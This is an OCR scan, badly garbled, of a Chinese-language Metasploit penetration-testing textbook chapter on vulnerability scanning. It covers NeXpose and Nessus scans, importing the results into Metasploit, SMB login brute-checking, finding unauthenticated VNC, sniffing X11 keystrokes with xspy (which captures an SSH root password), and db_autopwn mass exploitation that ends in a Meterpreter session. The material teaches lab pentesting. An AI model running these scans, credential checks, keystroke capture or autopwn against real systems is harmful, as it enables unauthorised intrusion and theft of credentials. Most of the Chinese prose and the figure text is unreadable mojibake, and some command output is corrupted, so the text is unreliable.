¥ it Next HrEl 4k &

(4) WRFAEELHENEAHERER, TURENENIEEESEY (REE:. 8K
WB—RERTEMNFERBMNAr 2504, XHEMMFIBEERZA “BREA#E" 5L “Bil
A, 52 HxFEERA CBERE” & “ERNRE") . FHEREERBIEHHEHR
HiF RS L REEMNBEFIRN RN, SREBTIREG E AN ESR.

(5) fE Credentials (B3 FH) fAE. L, S New Login (FFIEFR) 4, MMl
P it A— PR P24, AL, A Test Login (BiR &7 X ARG R REHATRAE,
IR HEHEFRT
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E4¥E NRBRARE

NEXPOSE

Tha falicairng At of 1F sddrassas safior hopt reveis sl bl et el i Hhis. s, Spiilly F sichiruninkin L devy of i

Dawicos 4 aran I['-Iﬂ.ﬂ.i o

| : H0.0.1 - W00 29
t ! LAl LT
ey

n-thd“h Pt B

— e ek i poevani vl

Trog Folioerirg Mgt of 1P okt e st nuacrs woll not b acanvescl s part of this o, Hesvwors Bromdcast sddrass!, 155}
Teiroiiiinl. i ninibe drosn aneming

Swpart St of svicas W el Cusses P o R Craman

i M0 Mg T 1™, lowtcr Mb Sapal? U0 Galey 5§ TRAFIDT (7F] A7)

& 4-3 [ NeXpose ¥ X PEINH # %

(6) BtJ5, Rili Save ({RFF) 1ML K A FHRFIBEFE. KB ERBHEFIH
PRAIRIES IR S, S0 4-4 BT

* HARIDS
NEXPOSE

Curment Scan Listng tor Al 5

Tiwr= ave ri asws] i o choplay

v O L Brstor, ML Rupot) 0 Sras MER i L ATTER At

44 FEAEPERTAIRIRCEE 2R

2. FaIAEmE

WY QIR e, @ BUTGRRIRIRRE —IRE/WES T

(1) Rt 4-4 P FRE New Manual Scan GHRHI T =Hl, XMNEESE LWE 4-5
FORBISHIEHE, XEA LS ERBESMER TG, s ER~HRER#Z 5.
EAPT, RATHRA R B K Windows XP EHLPET 4.

(2) {FR AR EIR TP ik, HBEREHRZRE TERHRSEEME . ARG
7 Start Now (ZBEF&R) B4 FLHiH.
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Metasploit &%z 45 B

You can ScBn oNe OF MOore A6Ees within this sl by snimring 1P sddreseas, 1P sddeecs
ranges Or host Nimes.,

e luhlg

Sits Datnils

Scan templete: Ful sk
Included azsets: 102 188.4. 166

| )

Mamual Scan Tarpets
& Scan all assats within this site

3 Specily one or more asssts within this site to scan
ASSats 1O BCAN:

Bt Now I Cancal

% 4-5 NeXpose FIHMEEMEHE

(3) AP, NeXpose 2ahERIFIHHBRETE. E%HF Scan Progress (FABEE)
I Discovered Assets CE=iR3) #PRAWBRA Completed (5B, WHE 4-6 AR, FEFE L
] Scan Progress BKB{AR AT LLR REFIAWA R &L LRI T 268 MBiE: 7 Discovered Assets
REPAHFRET KT HEEFHNER. Wik &8 7Rl RHEETE ILE, & ST Reports
(&) EIF.

I N T -

NEMPOSE e

o M0 Bwped £ IR0, Boatoe, P, Bapedy o0 St Bl TRAPIDT AT IR

B 4-6 NeXpose F#EERE F#H &
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H4F WREHE

3. £RKiEE S

11 AR B B —IKIZ4T NeXpose, T HAUZ B T —IK$1#, Report I A& B MEMAAE.
(1) ke 4.7 Prs. A di New Report GIRE) fTFRARMRE R F.

-

Home  Sdents A S _'I'J.A-un-i

ool ovee of Bre i rapeons 10 vigey oo catein bt pior ceEvicns,

2010 Apial? |, Bmaloe, 44 Fapel” UL bpke I AP (FFL 4R

B 4-7 NeXpose KB E R+

(2) BA—MFIEHIZFR. RETE Report format (M) FE8, EHE NeXpose Simple
XML Export(NeXpose {8 XML $yH ), 201 4-8 Fros . X Ffg f AR & 62 9% § A B Metasploit
FRIBIEEYT. EXELTUERARENORSER, NRRETTETEZBIRT IR FEEEN
iR, FAUEXBEERMFRHNK. TEHFRXESE)E, 21 Next EHEE.

MaXpais MW LN I Creets carved reprrly in B ity of Remats incuing POF, KT, ML XM s Tl D0 oakiiier, Waiomse
|"'"'"""'""' SN T R I Ta REOA SyTEmE or 10 naciured Ml ket ki ML and €87,
i Aapart - Tag, W
I Punart farnant [t Wi Wk ot 1
| Pt Sewplris Autiy Sapart : m_ . " _J
I Raport dess s | T~ M Trrret 06 & Conaubot [
I
I
I

© AN g TI10 Baston, A dapd? L Setem Bk MARDT TR THLA

Bl 4.8 AHHREEEAHRAERN

(3) W 4-9 Frac, 7R T REE O S Select Sites (S 70D, BRTHEIEM S T
B RES B, W5 R Save %4

O She Neme mn-msnn Lt Scan
“ 2 \aeacey TL8 e DO

Lt 011 |

1 - -~ |

B 49 EEAHEAFEHRGTHNEA
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Metasploit i{§iF X EES

(4) 7F Select Device (FERER &) MAGES, FAEQES RGP R )E A Save 724
(5) FEHRGEE MG, S Save BHBELZHAMWARAEAIETFIAE. IE Report
HEINEP B 8 TEIDWENIRE, WE 4-10 Frs.

t gAaPIDT

NEPOSE

e = e, . ikl - =, U0 donte
Home . Reports o Taget_I%5  Hisory F arch | ‘o Al PHar

Belowr 3¢ g QErveraiey] reports for the Targed, 1%% repoct.

Croaled On, Rt fing Dalain

101 KB of

O N0 Rapned 7 LT, B, bk ' Repnall LLC Sales BE& TRAFIDT [F72 7437)

B 4-10 HBEDEHHT CERBFHRE

4.2.2 BAIEESSAE Metasploit

{# A NeXpose 5Eil T~ -IX S BmAPR LS, HEHRRAHSER S AT Metasploit T
BEIFAZA], {RLIMTE MSF & {EH db_connect fr-4 818 “MHRISIEE. FIEFEQE
2ZE, RTLI{ER db_import #r4-¥ NeXpose B XML SR PAFWPELGHEAINEEESD.
Metasploit < BEHE B H 3L B NeXpose £, FHBESHEMNENGESA. BEPTL4E
il db_hosts XREFGARTAT) . GXEHBIESE THARESIER.) MERTOLHF W,
Metasploit IRAE T RAEHFBILE S LK 268 M-

msf > db_connect postgres:toor®127.0.0.1/ms#3
msf » db_import /tmp/host_195.xml

[*] Importing 'NeXpose Simple XML' data

[*] Importing host 192.168.1.195

[*¥] Successfully imported /tmp/shost 195.xml

msf > db_hosts -c address,swvcs,vulns

Hosts

address Svcs Vulns  Workspace

192.168.1.1685 8 2680 default

MARE R RFARARNERE, FMEARAERESHS (CVE) HBRBEREFES, ITT
M A9 a2 -

mst > db_wulns

MARET AL, XPFRMETERXREEMNOETMAERAEANEERE —EFAPEIT 268
AEERAO. B, SHAMMITEMRA, RelfEit BT, FHRIFEADAEERMIHT
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Ry W TAE R AT A

4.2.3 7 MSF 2% & 55T NeXpose

M Web FHIZZ 1T NeXpose AT LI FTHEE SR TTH40E, 3 B AER R 54 pi gl & . 1200 3 ¢
BXRAE A MSF #83%, (A0 LIFIF Metasploit A& B9 NeXpose 3k, 7E MSF & iEiTE
BT

A THERAEAMNESHBES R ZRNES, XRBAITHMA Metasploit HSEI— K HE&
[, ARAENAREERERAENTRAPLAO04S, FEZH, EFEHE db destroy WE
Metasploit ‘PELARIEHEE, 3 H db_connect R — M HEMIEE, RI51EH load nexpose
fir< A NeXpose #fiff, T Brx:

mst > db_destroy postgres:toor#127.0.0.1/msf3

[*] Warning: You will need to enter the password at the prompts below
Password:

ms¥ > db connect postgres:toor®i27.0.0.1/msf3

msf > load nexpose

[*] NeXpose integration has been activated
[*] Successfully loaded plugin: mexpose

3 NeXpose FE#F NSRS, #Rekel LL4FH help 4 BH LA PEHS R BERSS.
M. %A help &, REESE B RNaSFED, FRETHTEH NeXpose HI— &5
s,

mst > help

A MSF AT KA, REEEEDIIRTZEHN NeXpose L. BA
nexpose_connect -h 1 LA 7113 NeXpose FiR 5% . 7K BT ER AL B B NeXpose
IR 2. ORI IP Hht, BEFNE ok B3, RFRBzHEZ SSL IFHEE.

msf > nexpose_connect -h

L*] Usage:

[*] nexpose connect username:password@host[:port] <ssl-confirm»
[*] -OR-

[*] nexpose_connect username password host port <ssl-confirm

mst > mexpose_connect dookie:s3cr3t@192.168.1.206 ok
[*] Connecting to NeXpose instance at 192.168.1.206:3780 with username dookie,..

Q0T B, SR ORa] LIS A A% nexpose_scan, FEH S M EHIH B EREY (P #uhk S B
XA, BAMNR—A [P BT 7434, ERERET AR S S A 1P kB
(W 192.168.1.1-254) FTnBMELER 1P Hubl, SHFH CIDR thhtdskeR AT (W0
192.168.1.0/24) .
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msf > nexpose scan 192.168.1.195
[*] Scanning 1 addresses with template pentest-audit in sets of 32

[*] Completed the scan of 1 addresses
msf >

NeXpose HIGHE, HRANABRMBBEPINACEDOE TAMER. %A db_hosts
A AFIXEE, WFRFR: (FEEMIFrb, AR CFEA “address” FIET T IFERA
BERHZR. )

msf > db_hosts -c address

192.168.1.195 R 7 default

msf »

WARAT W, NeXpose KM [ 7 4~avl. :27T db_vuln 954 0] 2L 87 D2 B RRE 4015 .

msf > db_wulns

RER, XXEHRSHMBARANEFYRN B AR EERENRTRaEEEIER
HimAEEoR (268 1) LR2. A, RUREREME2SRNEREAGFE, EREBINMITRE
BHE R TAE.

4.3 1{FH Nessus FH{THH

Nessus # A3 R A% ] Tenable Security (http.//www.tenable.com/) WY, R ApFEHEBNT
e SR 28 2 — fF FJ Metasploit f¥] Nessus f4F, #80] LAFE MSF £ &b j3 54353 M Nessus
MR, BETHEHAE T, RATFERLE A BHIZITE Nessus 315285 97 £ 18
AR, HFAFADAESER, 8018 EH AR B FRAK Nessus 4.4.1, HEFEHATIRE]
R H BTN, M, REHRNTRES, FREesaEERRESGH
TEREE S FEREIB G FRERE.

4.3.1 B E Nessus

FEIREE Nessus J5, FTHRRIM T3S, WD) ps: /< 77 1P HiF>:8834, BE%E
RS, FEHAREZENRENEFAE£5 045833 Nessus. REESEERME 4-11 Brasiy
Nessus £ 54 H.



B 4-11 Nessus ERT

BHh., HEHAT Reports (IR R, XELSFWHAREITHHNRRHBRHTS. &
FRIERA T AE: Scan (3 EI F, A TR RIIHBES I HHHEEE. Policies
(HNBE) AIH-F. F T ® Nessus FHBRN FrE SR MA: Users (BF) @®IH ¥, ATEH
BDEESE 7R Nessus RRE-22 00 FH F bk .

4.3.2 f1)iE Nessus FIS KB
JrGHZ 8], FRELAE- 4 Nessus A ERE. 7F Policies (EEE) MINF I, At
Br) Add (RN &8, TR 4-12 o ke il % 0.

Policies

+ 5:4d Policy

Grniral

Bl 4-12 Nessus £ R TS
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X BREEIRLATARER, XA Nessus BB AP &4 4.

(1) A 4-13 B, REERPAHRERER —MET. BAIATEH The Works 1E4 17 SRS
BF, XPHEBERE Nessus BT IHEN . BRSNS Next 4.

(2) 5REFRRMITE NeXpose FI1/—F, BAIAVHEAERE Windows BREH#, MMGE
G A [ R E L GA R, X RIFRMA E AR R R TR SR I A Next Hrili k4.

E Messus

PaboieE

& Add POl

Genarat

B 4-13 Nessus P —%iFHERE

(3) 7E Plugins (3ff) TH, #oJLLWKEEEF Windows. Linux. BSD % & XKi#gEE
i) Nessus FARTEFHEFEREN. WRIALCH HHE ERSHER Windows BH, 7
ABGH S HAR SR R shtE. X E, Bi]Adi Enable Al (HER) #4 (EE 4-14
BI4G T Aak), B5ESE Next #4541

E Tlessus

Pollcies Maports BEENA FolckE Usmrk

Enatm &R Db AM

Tap -F 4 Tt

B 4-14 iE$E Nessus RI3HEF
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(4) B FEE WS/ — T FIE 2 Preferences (EikM) TiH. @ixHE, #RAETLILL Nessus
PEXPATENHL SRS R £ HATHEM, iSRS R/ EEEES, SRR
P EREES. SRR E, A Submit (B FREARFFERE. FHRMNEREKEERE
Policies IR+, MW 4-15 fros.

nntﬂuh . duchu | wwp |oans ] .

- T TeE - e ey R e Ty
Policies

vk «  Vimilility
Tha_Worka Privaie

i1

B 4-15  FiEMNM Nessus 1R B

4.3.3 #1417 Nessus 133§

wE -MEEERE. R MIRPRES . SAER Scans (33D B E,
ik Add GRID FAFTHHHACE S 1. KE A Nessus RE DL B EDHE BRI E
B, FRAMRAIEE#HN, REENPBEFIN—ALF, EF—AHAKN,. HHEARKE
REERTLL Y, W 4-16 FroR.

B 4-16 €/H— Nessus F1fE{L%

BATEIR FRAIT — D EN#THAE, BRRS£TLIRAE] CIDR £ spirhhk R ak# A
AR EHE Hi R A LTSN B TR, JEMPREREIIEEN, K
Launch Scan (R334 .

4.34 NessusIEE

GRS, [EATE Scan TUEH BRHA B2 2| Reports HEY . Reports FUHH 427
THABES LR WELUAERR BRI B XERIRIRIF A DI E Rt it Browse
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(RS0 FEHITHIE, ZUmMEE TLeAMKRNREFEALREERSRNBE, M 4-17 FrR.

L Ll b b 2011 1543

Bt Cormpdelas

B 4-17 FBAT1F) Nessus I EHE

/B AR Ed TR AdE A T Windows B R IEH MBI, Nessus £A 4 a3
KM FEREFLOLIEERIMERS,

4.3.5 AL REN Metasploit 3ER2 R

i FENEA RS B 5 Metasploit {48,

(1) 7E Reports T ¥ S5 Dowload Report ( FEIRE) HH, HEOMEREFIRAE
fit . Nessus BUIA PR & S04 3 nessus 0] LLE Metasploit B8, $2RBATE RS R 0ET
IEFEERIA T £ RN AT .

(2> $T7F MSF 285, €8 db_connect I3 -ME¥EE, REMHER dbo_import, T4
JEmin BB AOIREXHE, KIS R FATBIRET.

msf > db_connect postgres:toor@127.0.0.1/ms+3

ms¥ > db_import /tmp/nessus_report Host_ 195.nessus
[*] Importing 'Nessus XML (v2)' data

[*] Importing host 192,168.1.195

(3) A TRUEHHERN ENANRASERESIFHHITA, LU FRrREA db_hosts trd . X
Hit) db host it MEEFIER, BHUST HER IP Hubk, BRI LLE
Nessus 7+ Hix L A LIRS &

msf > db_hosts -¢ address,sves,vulns

—_——Tm— —

192.168.1,195 18 345

48




HAE WmREAM

(4) WREBEFR—DFANRFATR, TURAFASSEMSENR db_vulns w54, WT

BT

mst > db_wvulns

[*] Time: Wed Mar 0% 03:40:10 UTC 2021 Vuln: host=192.168.1.195
name=N55-10916 refs=05VDB-755

[*] Time: Wed Mar 09 03:40:10 UTC 2011 Vuln: host=192.168.1.195
name=N55-10915 refs=05VDB-754

[*] Time: Wed Mar 09 03:40:11 UTC 2011 Vuln: host=192.168.1.195
name=N55-10913 rets=05VDB-752

[*¥] Time: Wed Mar 09 03:40:12 UTC 2011 Vuln: host=192.168.1.195%
name=N55-10114 refs=CVE-1999-0524,05VDB-94, CWE-200

L*] Time: Wed Mar 09 03:40:13 UTC 2011 Vuln: host=192.168.1.155
name=N55-11197 refs=CVE-2003-0001,BID-653%

TEEERR LA KRR E ARG BEN AR EN, XE2ZERMERTFIME.

436 7t Metasploit BERER Nessus FEiTHH

MREREEFEFEARSITIRE, RTTLMER Zate HH) Nessus Biify (Nessus Bridge
plug-in: http://blog zate.org/nessus-plugin-dev/), & Metasploit P #B1EH Nessus. Nessus Hrifff
AR T Metasploit $EZE % Nessus BEITFE-2 M6, R LUER ©EITHa#. a5 R,
2= L A v lilid Nessus BT A& LR Fedd R & Wi

(1) FIATE K% 7 -#F, &5 db_destroy @14 ERILF =, I €M db_connect
B —FHBIEE.-

(2) 47 load nessus iy A Nessus ffifr, 20 FFimxR:

msT > db_destroy postgres:toor@127.0.0.1/msf3
[*] Warning: You will need to enter the password at the prompts below
Password:

msf > db_connect postpgres:toor@127.0.0.1/msf3

mst > load nessus

[*] Messus Bridge for Metasploit 1.1

[+] Type nessus_help for a command listing

[+] Expleit Index - {/root/.msf3/nessus_Index} - is valid.
[*] Successfully loaded plugin: Nessus

(3) FTEMER nessus_help XAH Nessus BHEAHLHFNFTA ML Nessus BHEHLH &K
— B R FTE B, BTLLE B Z nessus_help B 2N IR, XEEBASEERMRETREM
T HHIIRE.
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(4) {FH Nessus ¥rfFFres—IRPAFMZAY, PRUAEH nessus_connenct 438X B4R
[¥) Nessus fE% a8 b, WFRTAN:

msf > nessus_connect dookie:s3cr3t@192.168.1.101:8834 ok
[*] Connecting to https://192.168.1.101:8834/ as dookie
| *] Authenticated

(5) REREERED—F. BaiP#@NEEEE — P OEE XHEMMEH ID 5. o L4#
H nessus_policy_list 71 ) B 4338 |- AT L85 SCRTF14 HE .

msf » nessus_policy list
{+] Messus Policy List

ID  Name Comments
-4  Internal Network Scan

-3 Web App Tests

-2 Prepare for PCI D5S audits

-1 External Network Scan

2 The Works

(6> HEMETHPHAHMIAM B ID B, L% A nessus_scan_new 7%, HEFE
[N ERMHEEN D S, HFFTEMNEFLE B IP fhtl, T HR:

mst > nessus scan new

[*] Usage:
[*] nessus_scan_new <policy id> <scan name» <targets>
[*] use nessus_policy list to list all available policies

msf > nessus_scan_new 2 bridge scan 192.168.1.195
[*] Creating scan from policy number 2, called "bridge scan” and scanning 192.168.1.195
[*] Scan started. uid is d2f1fco2-3b50-4ede-ab8f-38b0813ddotabaeabs1fi12aadle

(7)) FHFEEE. WTLAEH nessus_scan_status < ZEAMETIIRE. XA 4R
[FlR 45 2 “No Scan Running (FIZEITH Y ” bf, I AL HE.

msf > nessus_scan_status
[*] No Scans Running.

(8) HAMLHE, W LMER] nessus_report_list #5511 Nessus T H BT B F15R % .
A HET R SR ID S, RE5H N\ nessus_report_get ## 1D &4 FHEIBE, HLENE#E
F AP Metasploit #EF .

msf > nessus_report_list
[+] Nessus Report List
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1D Nama Status Date

0740k 984-05F1- 57b1-f0cy-2bb80adaszfd3758887a05631c1d  Host_195 completed 19:43 Mar 08 2011
d2f1fc02-3b50- ge4e-abif-38b0813ddobabacabb1fi12aa81e  bridge scan completed ©9:37 Mar 09 2011

[*] You can:

[*] Get a 1ist of hosts from the report: nessus report hosts <report id>
msf > nessus_report get da2fifcoz-3b50-4ede-absf-38b0813dd96abaeabs1fi12aak1e
{*] importing d2¥1fc0z-3b50-4e4e-ab8+-38b0813ddg6abaeabb1fi12aa81e

[*] 192.168.1.195 Hicrosoft Windows XP Professienal (English) Done!

[+] Done

(9) &J5, MEIFFFIHALZ AL MAHF £, K0T AEA db_hosts &4, BiAFIHEH
HEWEHR R AR EDP

msf > db_hosts -c address,svcs,vulns

Hosts

4 33—

address cyCs  vulns

[ ERFTI R R, - — [

192.168.1.195 18 345

PEMFCERH T AR ARBRRPDMTABINRERNER, WRHRM Y544 £
T LRETAMANVEHE TERZMER. Aid, WX Ha TRAMAMERETH
BEFEA RN, XEEFdBEIREIIREMR.

4.4 & RimiREIEAH R

B EHREEHVRRERRS &, BHEHERFAUBTEN. SE88EE MW
g L B3O @ AT, Metasploit R Y ¥ 5 48§ BhBEH AT DL AT Bh AR S2 BROXHE IO 4%

E T A 88 L Metasploit BUER FRE O 8 Sk I BRI — 884 . OV 24748
FASEAEIARE R FT B8 2 MR IX SRR E P 0 SR T, O SR iR T e H 7).

441 LI2iF SMB &%

AT LA{EA] SMB B3 #i32 (SMB Login Check) S ABEPWAA LB OS5, F
MARETEL, XFMAMBBREL, FHEEEE LT RER2AMESAEHHRM Windows T
VLRGHEDE FHRE.

1 H] use WS ERERT smb_login HiR S, #RWTLLIZTT show options 3 A E S HIE, Ll
LW E BB LT . Metasploit RIFRISER P Z2ROSMAE. AP LFIRIO4FIRNAE
A5, REOMEFEEZRMNAS (AF2noL25R, RBEAFENO4). £ T Hh,
HEANH RHOST 2R BEH— /DR 1P b, RIGBHA—PMERMEA,LLZADO4, it Metasploit
S AR EVEITE R R
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msf > use auxiliary/scanner/smb/smb login
mst auxiliary{smb_login} > show options

Module aptions:

Name Current Setting Required Description

PASS FILE no File containing passwords, cne per line

RHOSTS yes The target address range or CIDR identifier

RPORT 445 yes Set the SMB service port

SMBDomain WORKGROUP A SMB Domain

SMBPass password no SMB Fassword

SMBUser Administrator no SMB Username

THREADS 50 yes The number of concurrent threads

USERPASS FILE ng File containing users and passwords separated
by space, one pair per line

USER_FILE no File containing usernames, one per line

mst auxiliary(smb login) > set RHOSTS 192.168.1.150-155

RHOSTS =» 192.168.1.170-192.168.1.175

msf auxiliary(smb_login) > set SMBUser Administrator

SMBUser => Administrator

mst auxiliary(smb_login) > set SMBPass s3crit

SMBPass =» s3icrit

mst auxiliary{smb login) > run

[*] Starting host 192.16B8.1.154

[*] Startinpg host 192,168.1.150

(*] Starting host 192.168.1.152

*] Starting host 192.168.1.151

*] Starting host 192.168.1.153

*] Starting host 192.168.1.15%

J 192,168.1.155 - SUCCESSFUL LOGIN {Windows 5.1) 'Administrater' : 's3crit’
] Scanned 4 of 6 hosts {066% complete)}
]
]

% -+

*
*

Scanned 5 of 6 hosts {(0B3% complete)
Scanned 6 of b hosts (100X complete)
[*] Auxiliary module execution completed
msf auxiliary(smb_login} >

[
[
[
L
|
[
[

EORIRTT LUEREH H 4 Administrator IO % s3er3t W ERB T4 EH L. 7
REaFH, LFESTENIRREREETHREMA - MR TCERREY, EXSRENRE
b, ERROSWEAARE—HN, RRT —MA4E, RRAEFREAASHE LESTEY
FI05 )AL R

442 FMFHE VNC =0S

VNC (AR E) 320t T BBREERRAT RN, ENERALRLUTHRAEER
M. ERZLFE VNC f9RBRA N, EAERB TIERE 07 R RS 280 TR BB R MmN
2, HHIERTE. REHEHE VNC BATHRAFE RS €50, AFATEERAHES
R iciLEMER, AME FRITHTH VNC BE, EBRY—NTEMHETEF. Metasploit
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HEN VNC A4S aT it B 1P Bhbi#iTaafs, F£HPERAXRTEOSH VNC RS
B, BRESHNATHES -LHK BEANEEMSENRNN HERGEREHNET Y
HHER- - FE.
BT BATIRAY VNC BERRHFAFEA T a4, wRAAERGIEITE P EE—
‘1\_.!1&#!]%%1 "Th&‘fiﬁ]ﬁ'ﬂ-‘iﬁzﬁﬁ'{? VNC .ﬂﬁ%ﬁ'& '.ﬁ" RealVNC4.1.1.

% K& & Metasploit FHEMER #, VNC HEHAAERNZETIRE$. voc_none_auth iy
SHFHH—-SHRESHRBK — T8 P i, R EEBEAZEDE, & L RHOST (i
FEEHL) 1 THREAD (R, MmERPHEUERNESNETEONEHITRE), RiHiTH
B, W PR

msT > use auxiliary/scanner/vnc/vnc_none_auth
msf auxiliary(vnc none auth) > show options

Module options:

Name Current Setting Required Description

RHOSTS yes The target address range or CIDR identifier
RPORT 5900 yes The target port

THREADS 1 yes The number of cencurrent threads

msT auxiliary(vnc_none_auth} > set RHDSTS 192.168.1.155
RHOSTS =3 192.168.1.155
msf auxiliary(vnc_none auth) > run

[*] 192.168.1.155:5900, VYNC server protocol version : RFE 003.008
[*] 192.168.1.155:5900, VYNC server security types supported : None
O [*] 192.168.1.155:5900, VNC server security types includes None, free accessl
[*] Scanned 1 of 1 hosts {100% complete)
[*] Auxiliary module execution completed
msT auxiliary({vnc_none_auth} »

IR EIZRIE, Metasploit FT S AMRIRE -6 A 04 H VNC RE2O, X RA]
L {# P Back|Track ) vncviewer, ZEEZHIEEH LR EE DO S VNC B%3%, E 4-18 Frax.

TightVNC: V-XPSP2-BARE

i)

& 4-18  F P vneviewer IEERIR B SN VNC BEHE
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Metasploit # % it 5 RS

RAE—T, MBRHEEB K VNC 1R ERANE, BARKEEAZRIREA T
B VNC BRFMESL. 75 -UA L FAEREAHARNBENLLED, SBH—NEEFEER
FIERERETH -G IR VNC k%25,

i FEDRHCOHRIN, MEREHAEEREXEIN. SNERFENED, &
AAREE QR EASENS. o FRERES P REZBMHARE (XaFh—ERE
EMFER, Bl AT S FEREEIAAREET T — KRG IUAREHEAK
L, HETEHINE, HETFRESMBELE—KERETOE VNC REE. TEHRXIKRIEH
HE.

% & HAEE LARAEERE? KREAEHF —EAK,

WA HEAAPaEL, T, REFER L FR.

B RERRISIES? ST ASCEM AN RERIAT,

HEH RAROSMBEA—BRAZNIEER, BT KAS&, FRHEELRRKHERT 5?2
RafE Bl —ay, MEXT? K225,

% A REEANH K —-FutEe, SEMASE, RLELE, WAl Y.

kA R LT, REAALRERBEET, BAEAABEITL22E, 28T
fEages, EE5T—A “VNCHEB”, AXABLNTHRE VNCARER, FiRAFR—¢
R EE.,

M A vk, RAGET, R AEN? RETHD? FAHSEFAL T T2

A BAE M —FFo{ 4K PureBasic H1i5 3 B, mERAITF deEad, RAHTAEA.
Fit AL FTodH B ih 2 F 4, RIEAA LA AT RESRHITHREEF., FEGHH
£ — e 34 T 3% H 3545 3] PureBasic % %28 .P.

e oF: KEET. TR E 4 S irc &) pastebin Mk L, METLLEL L4 L4, A2
LA A it PureBasic, A A it Python #= Perl.

sk ERAE, BE— TP pastebin Rt eit L&, FHELSH, RELE X,

MG ALK& A T & —/A pastebin M A #944dk, 2MIA MBS VNCBRBEHTER
KA,

4.4.3 FRAM X1 RFE =5

Metasploit KINE open_x1! FI#RS vnc_auth A IFRALL, RSB E—H IR
X11 B% %8, ZME&RATAPERTRMAMERNTER. RE X1 REFBEFHRERAE LD
AHrEERT, EFSEENTIOCHHAEEEE. RITHTHR. CRILBENRER

54



F4¥ KA

. EWARERHBHE N FRERN, EHHRSEEEME g agsaiy.

BAT open_x!1 PAHBHLE, FRiT AL HHAEENEREL, KEERE RHOSTS &
2, el THREAD E. AMABRESER- BRELE. FEK, RMSHE
IP HbhEt 192.168.1.23 #bFRAN T - HRH X RFHF. RPN ERERN, BAELFRGE
AT ELX) B HAT RAZ AN ). X RERI AT OB AER CHENNREBHF R

msf > use auxiliary/scannexr/x11/open_x11
mst auxiliary(open x11) > show options

Module options:

Name Corrent Setting Required Description

RHGSTS yes The target address range or CIDR identifier
RPORT 6000 yes The target port

THREADS 1 yes The number of concurrent threads

msf auxiliary{open x11} > set RHOSTS 192.168.1.0/24
RHOSTS =» 192.168.1.0/24

mst auxiliary(open x11) > set THREADS 50

THREADS =» 50

mst auxiliary(open x11) > run

[*¥] Trying 192,168.1.1

[*] Trying 192.168.1.0

[*] Trying 192.168.1.2...

[*] Trying 192.168.1.29

[#] Trying 192.168.1.30

[*] Open X Server @ 192.168.1.23 (The XFree86 Project, Inc)
[*] Trying 192.16%.1.31

[*] Trying 192.168.1.32

L ] - +* SHI P - | ] ]

[*] Trying 192.168.1.253
[*] Trying 192.168.1.254
[*] Trying 192.168.1.255
[*] Auxiliary module execution completed

WA THE B A R A X it 4 . DU A Back|Track K xspy T REXT H #5
FIREWMAZITICR, MTHR:

root@bt:/# cd /pentest/snitfers/xspy/
root@bt:/pentest/sniffers/xspy# ./xspy «display 192.168.1.23:0 -delay 100

ssh root@192.168.1.11(+BackSpace} 37
sup3rs3critpdssword

ifconfig

exit
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Xspy 1 HEEMZEMEHE X BEEMREEEME, HidRTEANMH/EH SSH L root H3
BE5 MEBRAMSRE, HPLATHRO4. XERRWHTREFEAFEL, B—HEHR,
EAIR A E.

45 R REIT AL

FTHENEAMNBREL RS ENY], Metasploit B Autopwn TR AESE HahiEEH R,
FIH OIS Dol R AR, S ERST AgMLiigERGE . fRa] LUR A % R iE I
% (83 NeXpose. Nessus L1 M OpenVAS) B4R HMAT Autopwn.

i R el 18 A B A ) Nessus HiE S REM — D RAEFHX KT Asthg S . #
FB db_connect #r &8I - HBHEE, HFH db_impoert iy S FAREHRE . P, B
Z1T db_autopwn 4, EXAPFASBRET-RIIFAXSH. NFAHEBERRL (¢), BTHAR
PCEC AR (1), 1R R shell FIBHRER (r), WREWFEBBHER (), BREFT A L
A (p). db_autopwn 2 BBH/E . Metasploit FFIEX HiF R A Moy, WRBGEKE,
LR [A]- AN B EALE W shell

I

msf > db_connect postgres:toor@i27.0.0.1/usf3
msf > db_impart /root/nessus.nbe
msf > db_autopwn -e -t -r -x -p

O [*] (1/72 [0 sessions]): Launching exploit/windows/mssql/ms09 004 _sp replwritetovarbin
against 192.168.33.130:1433...
[*] (2/72 [0 sessions]): Launching exploit/windows/smb/psexec against 192.168.33.130:445...
[*¥] (3/72 [0 sessions]): Launching exploit/windows/smb/ms06_040_netapl against
192.168.33.130:445. ..

» SNIF ., . .

[¥] Transmitting intermediate stager for over-sized stage...{216 bytes)
[*] Sending stage (718336 bytes)

® [*] Metexpreter session 1 opened {192.168.1.101:40912 -> 192.158.1.115:15991)
[*] (72/72 [1 sessions]): Waiting on 2 launched modules to finish execution...
[*] (72/72 [1 sessions]): Waiting on O launched modules to finish execution...

LR, BETFABTEMGEE, Autopwn BIRT 72 (KEHBHO, HPH | IRBHRDD
®, TiXEMINKE L, BATFIA Meterpreter #5514 R 7T AT BT 2RISR, X
F Meterpreter RAPEES 6 FPREMITE.

R 124 Autopwn AR T 2B E, Yikdesh Autopwn “HEAR” 658 IE, B
WEATHANHARAETRALBE, BT EEHR, X2 A Autopwn Fofb—38 5 K] sh e 24T
A2, bdw T A indE “BE” RA ML EERITHE, AL ES BT ENAFERE
BB K, 2R THES Autopwn W2 A F35k, 4T el db_autopwn h #4784 .
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BBRHERFEEZETREMINAREEEPH @SS K “Lig”, KRERENTEE
R B ERRAEERRE B, A -HRENERELE, BANEEHRASARE. &
RILEERBELHERABIATRKERRE, HESHEHARESRENFHRRSKRENH 2
i 18 S AT E W o FEOE R LA R T . A&, BATEM Metasploit 5% 54K w48
OF KR, BN F-SUFRANBERLLTE. FRITEMATHATGHNEEXRIETR
FH E] MSF £ 3 (msfconsole ). MSF /72 2 (msfencode ), EA B MSF B8 i 4 Al 8% (msfpavload) .

RS H IR RA RSB BUSZAT, HAEE S X THBAENBERGEHIEERDA.
ER 1 8, RIVARNMA T RAKNBENRA T E. B2 FF, RTHR T Metasploit f25RR1E
Mg, LEREPESHEMNEOMTRAGEHBE. B3 EHROEET T nfT#HTHHRBE.
RIBER 4 BEPREN T A HTREIWN.

A8, BINAETBSNERERTE. B BEHELIREBRE Metasploit 2T HIA
Mrghdad, BRINESEETPBAALAEMRARBCATIR. XEPHMAKREEY



Metasploit j#i% M35 @

&l MSF & ¥ikdT, MdBEATE, REEIX MSF i, MSF B 87 L a8 MSF
Gt s T RILERIRER, TR AT MR B B B ANR S .

5.1 BB EM

Metasploit HES2H R & BB Mtk WA ARSHIBE FHENIAE FL B TR, 7 MSF &
WAEIT show A LIEFERSE LR, YR T LUE 3T R/ M R T,
AT — Mt

5.1.1 msf> show exploits

EXAr44 RIR Metasploit #ESEH BT Al B K@ BB R . 7 MSF #&3n™, fRa LU %
